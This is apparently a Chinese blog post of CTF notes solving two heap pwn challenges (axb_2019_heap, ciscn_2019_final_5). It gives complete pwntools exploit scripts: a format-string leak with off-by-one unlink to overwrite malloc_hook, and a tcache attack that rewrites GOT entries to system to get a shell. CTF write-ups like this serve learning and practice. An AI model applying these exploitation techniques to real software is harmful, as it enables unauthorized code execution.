4.13做题随记(axb_2019_heap, ciscn_2019_final_5)

4.13做题随记

Column: Apr 14, 2021
Tags: Pwn

相关文件链接

axb_2019_heap

ciscn_2019_final_5

axb_2019_heap:

保护检查:

在这里插入图片描述

利用思路:

banner()中存在明显的格式化字符串漏洞, 因此可以用来泄露栈地址, libc地址以及pie产生的偏移

get_input()中有单字节溢出, 可以修改下一个chunk的inuse位, 从而unlink

因此只要获得偏移后unlink到&note任意读写到malloc_hook, 写上onegadget即可

坑:

Ubuntu16.04本来的libc和buuoj上给的libc不完全一直, 搞得我浪费了一个多小时(麻了)

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
sh=process('./axb_2019_heap')
sh=remote('node3.buuoj.cn', 29374)
elf=ELF('./axb_2019_heap')
libc=ELF('./libc-2.23.so')
#context.log_level='debug'
def Add(index, size, content):
    sh.recvuntil('>> ')
    sh.sendline('1')
    sh.recvuntil(':')
    sh.sendline(str(index))
    sh.recvuntil('Enter a size:\n')
    sh.sendline(str(size))
    sh.recvuntil('Enter the content: \n')
    sh.sendline(content)

def Delete(index):
    sh.recvuntil('>> ')
    sh.sendline('2')
    sh.recvuntil(':\n')
    sh.sendline(str(index))

def Edit(index, content):
    sh.recvuntil('>> ')
    sh.sendline('4')
    sh.recvuntil(':')
    sh.sendline(str(index))
    sh.recvuntil(': ')
    sh.sendline(content)

sh.recvuntil('name: ')
sh.sendline('%19$p%15$p')
sh.recvuntil('Hello, ')
main_current_addr=int(sh.recvuntil('16a'), 16)
start_main_240=int(sh.recv(14), 16)
print hex(main_current_addr)
print hex(start_main_240)
pie_base=main_current_addr-0x116a
start_main=start_main_240-240
libc_base=-libc.sym['__libc_start_main']+start_main
log.success('pie base: '+hex(pie_base))
log.success('libc base: '+hex(libc_base))
main_arena_offest=0x3c4b20
main_arena_addr=libc_base+main_arena_offest
one_gadget=[0x45216, 0x4526a, 0xf02a4, 0xf1147]

Add(0, 0xf8, 'a'*0xf0)
Add(1, 0xf8, 'b'*0xf0)
Add(2, 0xf8, 'c'*0xf0)
note_addr=0x202060+pie_base
Edit(0, p64(0)*2+p64(note_addr-0x18)+p64(note_addr-0x10)+'a'*(0xf8-0x28)+p64(0xf0)+p8(0))
Delete(1)
Edit(0, 'w'*0x18+p64(main_arena_addr-0x1b)+p64(0xf8))
Edit(0, 'w'*0xb+p64(one_gadget[3]+libc_base))
sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('4')
sh.recvuntil(':\n')
sh.sendline('300')
sh.interactive()

ciscn_2019_final_5:

保护检查:

在这里插入图片描述

利用思路:

理想情况下New()中会根据idx给申请的chunk地址末8位’或’上索引的值提供给全局指针, 但是由于idx的范围为0-16, 所以当idx为16时, 实际效果差不多是指针指向的地址 = chunk地址+0x10 , 导致free的时候可以free到我们的fakechunk上, 且大小自己可控, 从而再次申请可以做到对其它的chunk做到uaf, 最终完成tc attack, 再修改got表什么的都可以

坑:

  1. 因为libc文件没有明确指出其版本, 所以我们首先要用
strings libc.so.6 | grep 2.2
来康康它的版本是否≥2.27, 判断是否可以用tc attack
  1. 因为我一开始没有注意Partial RELRO, 所以导致我做题时卡在了想泄露libc, 却不知道怎么泄露

  2. Edit(), Delete()都是依靠全局指针指向的地址&0xfffffff0来判断后八位是否等于idx, 且0x10与0x0的效果都是0, 要切记这个规则, 我因为2与3的坑导致自己一个人做了两个多小时没做出来去看了别的师傅的wp, 呜呜呜, 我tcl

  3. 修改got表可以直接将tc的next指针修改为相对应的got, 但弊端是要各种大小的chunk, 也可以将got布置在全局指针组成的数组中, 但这样做的弊端是由于Edit的寻址方式, 当got表最后一字节为8时, 需要写入两次地址, 可能会破坏其它函数的地址导致程序无法运行

  4. 记得自己写脚本的时候不要recvuntil(’:’), 因为其他地方也出现了:

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./ciscn_final_5')
sh=remote('node3.buuoj.cn',26368)
elf=ELF('./ciscn_final_5')
libc=ELF('./libc.so.6')
#libc=elf.libc
#context.log_level='debug'   

def New(index, size, content):
    sh.recvuntil('choice: ')
    sh.sendline('1')
    sh.recvuntil('index: ')
    sh.sendline(str(index))
    sh.recvuntil('size: ')
    sh.sendline(str(size))
    sh.recvuntil('content: ')
    sh.send(content)

def Delete(index):
    sh.recvuntil('choice: ')
    sh.sendline('2')
    sh.recvuntil('index: ')
    sh.sendline(str(index))

def Edit(index, content):
    sh.recvuntil('choice: ')
    sh.sendline('3')
    sh.recvuntil('index: ')
    sh.sendline(str(index))
    sh.recvuntil('content: ')
    sh.send(content)

New(16, 0x10, p64(0)+p64(0x91))#0
New(1, 0xc0, 'a')#1
Delete(1)
Delete(0)
New(2, 0x80, p64(0)+p64(0xd1)+p64(0x6020e0))
New(3, 0xc0, 'aa')
New(4, 0xc0, p64(elf.got['free'])+p64(elf.got['puts'])+p64(0x6020e1)+p64(elf.got['atoi']+4)+p64(0)*16+p32(0x10)*8)
Edit(8, p64(elf.plt['puts'])*2)
Delete(0)
puts_addr=u64(sh.recv(6).ljust(8, '\x00'))
libc_base=puts_addr-libc.sym['puts']
log.success('libc base: '+hex(libc_base))
#main_arena_offset=0x3ebc40
#main_arena=libc_base+main_arena_offset
#one_gadget=[0x4f2c5, 0x4f322, 0x10a38c]
#Edit(1, p64(main_arena-0x10))
#Edit(0, p64(one_gadget[1]+libc_base))
log.success('system addr: '+hex(libc_base+libc.sym['system']))
Edit(0xc, p64(libc_base+libc.sym['system'])*2)
sh.recvuntil('choice: ')
#sh.sendline('1')
#sh.recvuntil('index: ')
sh.sendline('/bin/sh\x00')
#sh.recvuntil('size: ')
#sh.sendline('1')
#New(4, 0x30, p64(elf.plt['printf']))
sh.interactive()

其它碎碎念:

女朋友真是一种叫人有的时候心烦, 没的时候心痒的神奇生物(我没物化女性啊, 女👊别打我, 呜呜呜)

14号打算一两道pwn, 然后看漏洞艺术, 再翻译一章给sakura师傅叭

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值